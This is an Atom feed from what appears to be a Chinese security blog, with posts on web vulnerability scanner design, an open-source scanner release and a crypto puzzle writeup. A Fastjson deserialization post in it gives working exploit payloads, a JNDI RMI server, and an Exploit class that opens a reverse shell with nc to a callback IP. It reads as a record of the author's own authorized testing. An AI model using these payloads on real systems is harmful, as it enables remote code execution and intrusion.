<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Bey0nd &#39;s Blog</title>
  
  <subtitle>专注于信息安全与黑客技术</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://www.beysec.com/"/>
  <updated>2020-07-14T02:58:21.994Z</updated>
  <id>https://www.beysec.com/</id>
  
  <author>
    <name>bey0nd</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Web漏洞扫描的一些Tips</title>
    <link href="https://www.beysec.com/security/web-vuln-scanner-tips.html"/>
    <id>https://www.beysec.com/security/web-vuln-scanner-tips.html</id>
    <published>2020-07-13T10:34:02.000Z</published>
    <updated>2020-07-14T02:58:21.994Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>好久没更新了，算是做个备忘吧。这段时间一直在搞漏洞扫描方面相关的东西，<a href="https://www.beysec.com/security/web-vuln-scanner-thinking.html">Web漏洞扫描碎碎念</a><br>上篇说到了一些黑盒漏扫的一些架构之类的，其实真正在做的时候还是会遇见挺多实际的问题的。</p><h3 id="Tips"><a href="#Tips" class="headerlink" title="Tips"></a>Tips</h3><p>我们内部在构思这款扫描器时，就定位它为一款轻量级漏洞发现的扫描器。比较关心的指标：发包量、误报率、检出率、足够智能。通过一定的算法让他尽可能的和安全人员在做安全测试时的步骤、思路一致。<br>举个简单的例子，我们在进行某一个漏洞测试时，测试多个payload服务器返回与正常相同，大概会有哪些情况，应该怎么处理呢？那我们就应该让扫描器也尽量去模拟这个过程。<br>在开发的时候每个任务或需求都通过任务看板做记录，现在回头整理发现还是做了挺多的优化点的。<br>团队的小伙伴也是出了很多建设性的意见，在漏洞识别逻辑和产品使用体验方面上。现在经过打磨，也算是比较成熟了，满足日常安全测试的需求。</p><p>从看板复制出来小部分需求title</p><ul><li>统一的扫描接口字段及方法定义</li><li>统一的扫描结果bean类</li><li>调度器实现获取所有的插件类并加载扫描</li><li>参数解析支持所有常见参数格式及其混合格式（urlencode、json、amf）</li><li>SQL注入插件，采用NLP分词和相识度等算法判断回显</li><li>RCE插件，采用运算符或dnslog判断</li><li>SSRF插件，采用dnslog做漏洞判定</li><li>SSTI插件，内置常用payload做fuzz判断</li><li>XXE插件，内置文件读取与dnslog外联payload做漏洞判定</li><li>XSS插件，使用语义分析输出点位置，检测XSS平均发送两个请求包</li><li>RLI/LFI插件，内置Windows于Linux部分文件路径payload做漏洞判定</li><li>StrutsRCE插件，集成部分较通用的poc进行扫描</li><li>……</li><li>Java序列化插件，分析HTTP包特征，无需Payload发包</li><li>JWT插件，分析HTTP包特征，无需Payload发包</li><li>信息泄露插件，分析HTTP包特征，无需Payload发包</li><li>POST请求中body为空异常处理</li><li>POST请求中path中存在动态参数处理</li><li>适当优化返回包中时间戳、traceID等无用信息</li><li>支持域名黑白名单</li><li>对于空字符串如:null、undefine某种情况识别为json的处理</li><li>对所有插件加入识别waf模块，如无法绕过则跳过扫描，避免发送无用包</li><li>加入参数跳过机制，对明显不是漏洞的参数进行跳过</li><li>整合部分RCE和SSTI相似payload，减少发包</li><li>对于非动态内容，资源类请求跳过扫描</li><li>适配POST包乱码的情况</li><li>加入参数黑名单配置，可忽略所有请求的该参数，如_t，testid</li></ul><p>最开始对扫描器的认识无非就是payload一把梭，其实真正在做扫描器的时候就会发现有很多的点值得推敲优化。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;好久没更新了，算是做个备忘吧。这段时间一直在搞漏洞扫描方面相关的东西，&lt;a href=&quot;https://www.beysec.com/sec
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>Web漏洞扫描碎碎念</title>
    <link href="https://www.beysec.com/security/web-vuln-scanner-thinking.html"/>
    <id>https://www.beysec.com/security/web-vuln-scanner-thinking.html</id>
    <published>2020-02-28T13:55:44.000Z</published>
    <updated>2020-07-13T07:43:03.128Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>这段时间一直在搞漏洞扫描方面相关的东西，之前也写过一些小的扫描器demo，接触到挺多开源和商业版漏扫。简单念叨一些web扫描器相关的思路吧，也算做个记录。<br>注：本文只提供一些思路</p><p>其实web扫描器形式分很多种</p><ul><li>主动扫描例如 AWVS、APPScan</li><li>被动扫描例如 Xray</li><li>还有一些一把梭的插件类型扫描器，包括资产域名自动收集，指纹识别，POC扫描等</li><li>IAST插桩也是挺好的一种方式</li></ul><p>当然可能按照不同角度有不同的区分类型吧，这几种类型的基本也都写过一些。其实无论哪种方式，最核心的还是要拿到流量才能往下走。</p><h3 id="参数解析"><a href="#参数解析" class="headerlink" title="参数解析"></a>参数解析</h3><p>为什么先说参数解析呢，因为后面的很多模块都会依赖这里。参数解析的是否完整，对扫描结果影响还是比较大的。<br>无论是GET还是POST，先把参数的raw拿回来，最后封装回去就好<br>先看常见的格式</p><ul><li>id=1&amp;name=bey0nd</li><li>{“id”:1,”name”:”bey0nd”}</li></ul><p>这两种是最简单的，格式较为统一，urlencode或json格式，只需要判断并解析一下，然后加入payload的flag</p><ul><li>id=1__PAYLOAD__FLAG__&amp;name=bey0nd__PAYLOAD__FLAG__</li><li>{“id”:”1__PAYLOAD__FLAG__”,”name”:”bey0nd__PAYLOAD__FLAG__“}</li></ul><p>看下几种复杂格式</p><ul><li>{“age”:1,”service”:”getUserInfo”,”data”:[{“ID”:”0”,”name”:”sdf”},{“ID”:”3”,”name”:”sdf2”}]}</li><li>id=3&amp;pdata={”service”:”getUserInfo”}&amp;t=&amp;group=0</li><li>id=3&amp;pdata={”service”:”getUserInfo”,”data”:{”records”:[{”groupID”:”0”}]}}&amp;version=1.1</li><li>{“test”: 1,”record”:{“data”: {“test”: 12222, “pdata”: {“service”: “getUserInfo”}}}}</li></ul><p>以上这几种都是我在实际的线上环境中遇见的，在完全不知道参数格式时，解析还是比较麻烦的，burpsuite的API在获取参数时对于这种混合格式就无法解析。之前调研一些商业漏扫也是无法识别的。后来自己写的时候看sqlmap源码有了思路解决了这个问题，有兴趣的可以看一下lib\core\common.py的walk函数。</p><h3 id="流量去重"><a href="#流量去重" class="headerlink" title="流量去重"></a>流量去重</h3><p>我对于重复请求包的定义是域名及协议和url路径相同，同时参数的key是完全一致。<br>像这种为重复</p><ul><li><a href="https://www.beysec.com/test.php?id=2&amp;name=bey0nd">https://www.beysec.com/test.php?id=2&amp;name=bey0nd</a></li><li><a href="https://www.beysec.com/test.php?id=6&amp;name=zhangsan">https://www.beysec.com/test.php?id=6&amp;name=zhangsan</a></li></ul><p>这种则需要再次扫描</p><ul><li><a href="https://www.beysec.com/test.php?id=2&amp;name=bey0nd">https://www.beysec.com/test.php?id=2&amp;name=bey0nd</a></li><li><a href="https://www.beysec.com/test.php?id=6&amp;name=zhangsan&amp;data=hello">https://www.beysec.com/test.php?id=6&amp;name=zhangsan&amp;data=hello</a></li></ul><p>所以是否能完美的完成参数解析，就会影响到去重，把url与参数的key排序后判断是否已经存在就可以判定是否重复，对于复杂格式的依然可行。然后把去重后的流量入库后就可供扫描引擎调用，实时扫描或者计划任务都可以。</p><h3 id="漏洞检测"><a href="#漏洞检测" class="headerlink" title="漏洞检测"></a>漏洞检测</h3><p>这块就是一些重头戏部分了。我在做的时候参考了AWVS的设计模式。做了一些合并，把扫描插件大致分成了三类，目录结构为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CoreScanEngine.py</span><br><span class="line">——base</span><br><span class="line">——perFolder</span><br><span class="line">——perHost</span><br><span class="line">——perRequest</span><br></pre></td></tr></table></figure></p><p>举个例子，当扫描 <a href="https://www.beysec.com/pro/test.php?id=2&amp;name=bey0nd">https://www.beysec.com/pro/test.php?id=2&amp;name=bey0nd</a>  这个url时</p><ul><li>CoreScanEngine.py就是扫描入口了，负责调用所有的扫描插件</li><li>base目录为一些扫描基类，定义一些基础方法</li><li>perFolder目录为扫描当前目录( <a href="https://www.beysec.com/pro/)的一些插件，例如一些备份文件">https://www.beysec.com/pro/)的一些插件，例如一些备份文件</a> <a href="https://www.beysec.com/pro/test.php.bak">https://www.beysec.com/pro/test.php.bak</a>, <a href="https://www.beysec.com/pro/test.bak">https://www.beysec.com/pro/test.bak</a> 。一些敏感文件等等之类的</li><li>perHost目录就是一些单个主机的扫描插件了，例如心脏滴血，中间件，一些0/1/Nday这种</li><li>perRequest目录就是比较熟悉的常见web漏洞了，SQL注入，SSRF，命令执行这些。</li></ul><p>这里有个调度的问题就是perHost只扫一次，perFolder只扫当前目录，perRequest每来一个包都扫。所以如果再来 <a href="https://www.beysec.com/notpro/hello.php">https://www.beysec.com/notpro/hello.php</a>  perHost插件就不在扫描。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>这些都是一些大的方向，其实每个模块都有许多细节需要处理，比如SQL注入检测模块中去掉返回包垃圾数据，restful接口返回数据尽可能去掉无关项，用分词作相识度识别的阈值设置，来提高准确率减少误报。SSRF的反链平台，每个扫描插件和模块都需要迭代优化，以及漏洞扫出来后如何闭环和打通别的平台，还是比较刺激的。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;这段时间一直在搞漏洞扫描方面相关的东西，之前也写过一些小的扫描器demo，接触到挺多开源和商业版漏扫。简单念叨一些web扫描器相关的思路吧，
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>Fastjson反序列化漏洞利用</title>
    <link href="https://www.beysec.com/security/fastjson-deserialize-rce.html"/>
    <id>https://www.beysec.com/security/fastjson-deserialize-rce.html</id>
    <published>2019-07-31T03:49:17.000Z</published>
    <updated>2020-07-13T07:43:03.123Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近在公司git翻代码时，在pom.xml看到一个项目fastjson版本比较低。于是测了一下反序列化漏洞，记录几个坑</p><h3 id="漏洞测试"><a href="#漏洞测试" class="headerlink" title="漏洞测试"></a>漏洞测试</h3><p>测试poc</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"@type"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>, <span class="attr">"dataSourceName"</span>:<span class="string">"rmi://172.16.32.34:1099/Exploit"</span>,<span class="attr">"autoCommit"</span>:<span class="literal">true</span>&#125;</span><br></pre></td></tr></table></figure><p>在对应的机器上监听一下端口，如果能收到数据则漏洞存在。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -vv -l -p 6666</span><br></pre></td></tr></table></figure></p><h3 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h3><p>这个漏洞有很多的利用方式，可以把poc编译为class文件后使用base64加密，通过以下的方式HTTP发包即可。<br><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"@type"</span>:<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"</span>,<span class="attr">"_bytecodes"</span>:[<span class="string">"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAfY3VybCBodHRwOi8vMTE4LjI0LjEwNS4yNTA6MTA5OQwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="</span>],<span class="attr">"_name"</span>:<span class="string">"a.b"</span>,<span class="attr">"_tfactory"</span>:&#123; &#125;,<span class="attr">"_outputProperties"</span>:&#123; &#125;,<span class="attr">"_version"</span>:<span class="string">"1.0"</span>,<span class="attr">"allowedProtocols"</span>:<span class="string">"all"</span>&#125;</span><br></pre></td></tr></table></figure></p><p>我测试过程中使用的rmi和ldap的方式。</p><p>rmi的简单利用过程如下</p><p>启一个JNDI的服务。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">➜  fastjson cat JNDIServer.java </span><br><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JNDIServer</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">        Registry registry = LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line">        Reference reference =</span><br><span class="line">                <span class="keyword">new</span> Reference(<span class="string">"Exploit"</span>, <span class="string">"Exploit"</span>,<span class="string">"http://172.16.32.34:8888/"</span>);</span><br><span class="line">        ReferenceWrapper referenceWrapper = <span class="keyword">new</span> ReferenceWrapper(reference);</span><br><span class="line">        registry.bind(<span class="string">"Exploit"</span>,referenceWrapper);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译完启动即可。</p><p>编译poc</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">➜  fastjson cat Exploit.java </span><br><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"><span class="keyword">import</span> java.lang.Process;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">Exploit</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            String commands = <span class="string">"nc 172.16.32.34 6666 -e /bin/bash"</span>;</span><br><span class="line">            Process pc = Runtime.getRuntime().exec(commands);</span><br><span class="line">            pc.waitFor();</span><br><span class="line">        &#125; <span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] argv)</span> </span>&#123;</span><br><span class="line">        Exploit e = <span class="keyword">new</span> Exploit();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>PS:我直接用的nc来反弹shell，在测试的过程中，公司服务在docker镜像中部署，镜像较精简，系统不包含curl，bash，wget等命令，测试的时候还以为是poc或者防火墙的问题。。最后使用ping和dnslog测试成功了。</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/dnglog1.png" alt="dnslog"></p><p>然后把poc放到一个web目录下供JNDIServer拿就可以了。直接用python启一下web服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m SimpleHTTPServer 8888</span><br></pre></td></tr></table></figure><p>然后监听一下nc反弹的端口</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -vv -l -p 6666</span><br></pre></td></tr></table></figure><p>发一下poc包就会收到反弹的shell</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST /api/supplychain/listData HTTP/1.1</span><br><span class="line">Host: www.beysec.com</span><br><span class="line">Content-Length: 111</span><br><span class="line">traceID: b0923e77-96c1-4cb6-ab65-bed46da8334b</span><br><span class="line">Accept: application/json, text/plain, */*</span><br><span class="line">groupID: 953</span><br><span class="line">Origin: http://www.beysec.com</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36</span><br><span class="line">Content-Type: application/json;charset=UTF-8</span><br><span class="line">Referer: http://www.beysec.com/meta/1/1?orgID=1</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cookie: access_token=*;</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">&#123;<span class="string">"@type"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>, <span class="string">"dataSourceName"</span>:<span class="string">"rmi://172.16.32.34:1099/Exploit"</span>,<span class="string">"autoCommit"</span>:<span class="literal">true</span>&#125;</span><br></pre></td></tr></table></figure><p><img src="https://hexoblog-1253112764.file.myqcloud.com/fastjson-shell.png" alt="dnslog"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;最近在公司git翻代码时，在pom.xml看到一个项目fastjson版本比较低。于是测了一下反序列化漏洞，记录几个坑&lt;/p&gt;
&lt;h3 id
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="java" scheme="https://www.beysec.com/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>插件化集成扫描器开源</title>
    <link href="https://www.beysec.com/security/nstscan-cli-opensource.html"/>
    <id>https://www.beysec.com/security/nstscan-cli-opensource.html</id>
    <published>2019-01-30T07:24:32.000Z</published>
    <updated>2020-07-13T07:43:03.125Z</updated>
    
    <content type="html"><![CDATA[<p>结合了市面上流行的一些扫描器思路，写了个比较完整的扫描规则。支持ip，domain，网段，批量检测。 及漏洞扫描支持。</p><ul><li>web目录</li><li>未授权访问</li><li>弱口令</li><li>CMS</li><li>CVE</li></ul><h3 id="开源"><a href="#开源" class="headerlink" title="开源"></a>开源</h3><p>其实这是去年写的一个扫描器，也是很久没维护了，放出来吧。</p><p>去年写的时候想法比较单纯(当时感觉写完巨好用)</p><p>一年后视野越来越宽了，知识链更广了，有更好的思路了。</p><p>可以直接使用或者二次开发，能保留个版权最好</p><p>源码：<a href="https://github.com/ibey0nd/NSTScan-cli" target="_blank" rel="noopener">https://github.com/ibey0nd/NSTScan-cli</a></p><h3 id="免责声明"><a href="#免责声明" class="headerlink" title="免责声明"></a>免责声明</h3><p>开源版本只放出了简单的探测规则，无法用作为黑客入侵工具。<br>请勿用于未授权的测试，作者不负任何连带法律责任。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;结合了市面上流行的一些扫描器思路，写了个比较完整的扫描规则。支持ip，domain，网段，批量检测。 及漏洞扫描支持。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;web目录&lt;/li&gt;
&lt;li&gt;未授权访问&lt;/li&gt;
&lt;li&gt;弱口令&lt;/li&gt;
&lt;li&gt;CMS&lt;/li&gt;
&lt;li&gt;CVE&lt;/li&gt;
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>OKEX区块链解密游戏完整writeup</title>
    <link href="https://www.beysec.com/security/okex-blockchain-game-writeup.html"/>
    <id>https://www.beysec.com/security/okex-blockchain-game-writeup.html</id>
    <published>2018-10-11T16:43:47.000Z</published>
    <updated>2020-07-13T07:43:03.125Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>题干信息</p><p>图片中共两条有用信息：</p><p>1、一组字母“OKBLOCKCHAIN”</p><p>2、12组等式数字</p><p>下面是这1个ETH的地址交易记录，如果没被转走，说明还没被破解。Goodluck~<br><img src="https://hexoblog-1253112764.file.myqcloud.com/ok-block-chain.png" alt="题目信息"></p><h3 id="获取助记词"><a href="#获取助记词" class="headerlink" title="获取助记词"></a>获取助记词</h3><p>观察可以看到，在等式右边是16进制的字符串。将其转换为10进制后发现均小于2018。可以和eth的助记词关联上。</p><p>助记词列表：<a href="https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt" target="_blank" rel="noopener">https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</a></p><p>如：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">7</span>=<span class="number">367</span></span><br></pre></td></tr></table></figure></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int(<span class="string">'367'</span>,<span class="number">16</span>) = <span class="number">871</span></span><br></pre></td></tr></table></figure><p>然后在GitHub上的助记词查到871行对应的就是holiday</p><p>写段代码批量查表，获得全部助记词</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">holiday relief seat stomach limb sort learn culture push deer brick wrong</span><br></pre></td></tr></table></figure><p>剩下的就是排序问题。</p><h3 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h3><p>根据图中提供的字母 “OKBLOCKCHAIN”，再有310BTC的提示，基本就是移位密码了，先取字符的索引。</p><p>获取到对应的数字为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">15</span> <span class="number">11</span> <span class="number">02</span> <span class="number">12</span> <span class="number">15</span> <span class="number">03</span> <span class="number">11</span> <span class="number">03</span> <span class="number">08</span> <span class="number">01</span> <span class="number">09</span> <span class="number">14</span></span><br></pre></td></tr></table></figure><p>剩下未使用的信息就是等式左侧的数字了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">7</span> <span class="number">14</span> <span class="number">16</span> <span class="number">17</span> <span class="number">19</span> <span class="number">21</span> <span class="number">26</span> <span class="number">28</span> <span class="number">30</span> <span class="number">31</span> <span class="number">40</span> <span class="number">51</span></span><br></pre></td></tr></table></figure><p>观察一下两组数字的关系，刚开始想的太过于复杂，以为是移位密码的算法。走了一些弯路。</p><p>后来发现两组数字之间是相加一个质数列表</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">2</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">7</span>, <span class="number">11</span>, <span class="number">13</span>, <span class="number">17</span>, <span class="number">19</span>, <span class="number">23</span>, <span class="number">29</span>, <span class="number">31</span>, <span class="number">37</span></span><br></pre></td></tr></table></figure><p>如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">15</span>, <span class="number">11</span>, <span class="number">02</span>, <span class="number">12</span>, <span class="number">15</span>, <span class="number">03</span>, <span class="number">11</span>, <span class="number">03</span>, <span class="number">08</span>, <span class="number">01</span>, <span class="number">09</span>, <span class="number">14</span></span><br><span class="line"> <span class="number">2</span>,  <span class="number">3</span>,  <span class="number">5</span>,  <span class="number">7</span>, <span class="number">11</span>, <span class="number">13</span>, <span class="number">17</span>, <span class="number">19</span>, <span class="number">23</span>, <span class="number">29</span>, <span class="number">31</span>, <span class="number">37</span></span><br></pre></td></tr></table></figure></p><p>相加后再等式左侧的数字中找到顺序，就能确定前面获取到的助记词的顺序。</p><p>最终的助记词顺序</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">stomach relief holiday limb learn seat culture sort deer push brick wrong</span><br></pre></td></tr></table></figure><p>(PS:题中的21应该是22吧，官方手抖打错了？不过不影响解密)</p><h3 id="恢复钱包"><a href="#恢复钱包" class="headerlink" title="恢复钱包"></a>恢复钱包</h3><p>使用钱包导入助记词，然后转账走人~~<br><img src="https://hexoblog-1253112764.file.myqcloud.com/WechatIMG111.jpeg" alt></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;题干信息&lt;/p&gt;
&lt;p&gt;图片中共两条有用信息：&lt;/p&gt;
&lt;p&gt;1、一组字母“OKBLOCKCHAIN”&lt;/p&gt;
&lt;p&gt;2、12组等式数字&lt;/
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>AMR智能合约转账溢出漏洞分析复现</title>
    <link href="https://www.beysec.com/blockchain/amr-multiTransfer-vulnerability.html"/>
    <id>https://www.beysec.com/blockchain/amr-multiTransfer-vulnerability.html</id>
    <published>2018-07-12T06:56:54.000Z</published>
    <updated>2020-07-13T07:43:03.121Z</updated>
    
